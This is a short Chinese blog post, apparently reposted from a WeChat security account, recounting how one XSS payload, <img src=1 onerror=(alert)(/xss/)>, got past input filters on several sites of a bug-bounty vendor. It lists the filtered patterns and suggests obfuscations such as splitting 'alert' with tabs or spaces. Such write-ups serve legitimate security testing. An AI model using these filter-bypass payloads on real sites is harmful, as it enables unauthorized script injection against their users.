在某次src的漏洞挖掘过程中，发现了一个payload绕过了三处xss过滤，个人觉得还是挺有意思的，所以记录一下。
在某页面信息如下，我决定对回复内容进行xss测试
<img/src=1> 不拦截
测试发现
拦截：
javascript:alert()、
javascript:''alert()"、
onerror=alert()、
onerror=''alert()"
onerror=aalert()
在对厂商进一步测试的时候，发现某站点编辑简历时的存储型XSS，和上面的过滤规则一毛一样，所以直接<img src=1 onerror=(alert)(/xss/)>
在进一步，某站点附件上传时
混淆绕过不是万能的，但是有时候往往有意想不到的效果，而且有的可能不需要混淆绕过，可以尝试一些字符和编码，如onerror=a	lert()、onerror=al lert(1)等等，可以自己去摸索尝试，而且混淆的方式有很多。
往期推荐 ●●
// 1
// 2
// 3
// 4
原文始发于微信公众号（巡安似海）：挖洞经验之一个绕过某SRC厂商三处XSS过滤的payload
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论